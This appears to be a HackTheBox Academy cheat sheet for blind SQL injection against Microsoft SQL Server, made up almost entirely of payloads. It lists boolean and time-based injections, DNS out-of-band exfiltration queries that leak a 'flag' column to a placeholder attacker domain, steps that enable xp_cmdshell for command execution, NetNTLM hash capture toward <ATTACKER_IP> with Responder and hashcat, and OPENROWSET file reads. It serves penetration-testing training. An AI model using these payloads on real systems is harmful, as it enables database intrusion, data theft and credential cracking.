HACKTHEBOX

HTB ACADEMY CHEATSHEET

HTB ACADEMY CHEATSHEET

HTB ACADEMY CHEATSHEET

HTB ACADEMY CHEATSHEET

BLIND SQL INJECTION
CHEAT SHEET

Boolean-based

```
' AND 1=1;--
```

Time-based

```
'; IF (1=1) WAITFOR DELAY '0:0:10';--
```

DNS OOB

SQL Function	SQL Query
master..xp_dirtree	DECLARE @T varchar(1024);SELECT @T=(SELECT 1234);EXEC('master..xp_dirtree "\\'+@T+'.YOUR.DOMAIN\\x"');
master..xp_fileexist	DECLARE @T VARCHAR(1024);SELECT @T=(SELECT 1234);EXEC('master..xp_fileexist "\\'+@T+'.YOUR.DOMAIN\\x"');
master..xp_subdirs	DECLARE @T VARCHAR(1024);SELECT @T=(SELECT 1234);EXEC('master..xp_subdirs "\\'+@T+'.YOUR.DOMAIN\\x"');
sys.dm_os_file_exists	DECLARE @T VARCHAR(1024);SELECT @T=(SELECT 1234);SELECT * FROM sys.dm_os_file_exists('\\'+@T+'.YOUR.DOMAIN\x');
fn_trace_gettable	DECLARE @T VARCHAR(1024);SELECT @T=(SELECT 1234);SELECT * FROM fn_trace_gettable('\\'+@T+'.YOUR.DOMAIN\x.trc',DEFAULT);
fn_get_audit_file	DECLARE @T VARCHAR(1024);SELECT @T=(SELECT 1234);SELECT * FROM fn_get_audit_file('\\'+@T+'.YOUR.DOMAIN\',DEFAULT,DEFAULT);
split result into sub-domains	DECLARE @T VARCHAR(MAX); DECLARE @A VARCHAR(63); DECLARE @B VARCHAR(63); SELECT @T=CONVERT(VARCHAR(MAX), CONVERT(VARBINARY(MAX), flag), 1) from flag; SELECT @A=SUBSTRING(@T,3,63); SELECT @B=SUBSTRING(@T,3+63,63); SELECT * FROM fn_get_audit_file('\\'+@A+'.'+@B+'.YOUR.DOMAIN\',DEFAULT,DEFAULT);

[MSSQL] RCE

```
-- Check if we are sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');

-- Enable 'Advanced Options'
EXEC sp_configure 'Show Advanced Options', '1';
RECONFIGURE;

-- Enable 'xp_cmdshell'
EXEC sp_configure 'xp_cmdshell', '1';
RECONFIGURE;

-- Ping ourselves
EXEC xp_cmdshell 'ping /n 4 192.168.43.164';
```

[MSSQL] NetNTLM

```
[!bash!]$ sudo python3 Responder.py -I eth0

EXEC master..xp_dirtree '\\<ATTACKER_IP>\myshare', 1, 1;

[!bash!]$ hashcat -m 5600 'jason::SQL01:bd7f162c24a39a0f:94DF80C5ABB...SNIP...000000' /usr/share/wordlists/rockyou.txt
```

[MSSQL] File Read

```
-- Check if we have the permissions needed to read files
SELECT COUNT(*) FROM fn_my_permissions(NULL, 'DATABASE') WHERE permission_name = 'ADMINISTER BULK OPERATIONS' OR permission_name = 'ADMINISTER DATABASE BULK OPERATIONS';

-- Get the length of a file
SELECT LEN(BulkColumn) FROM OPENROWSET(BULK '<path>', SINGLE_CLOB) AS x

-- Get the contents of a file
SELECT BulkColumn FROM OPENROWSET(BULK '<path>', SINGLE_CLOB) AS x
```

HTB ACADEMY CHEATSHEET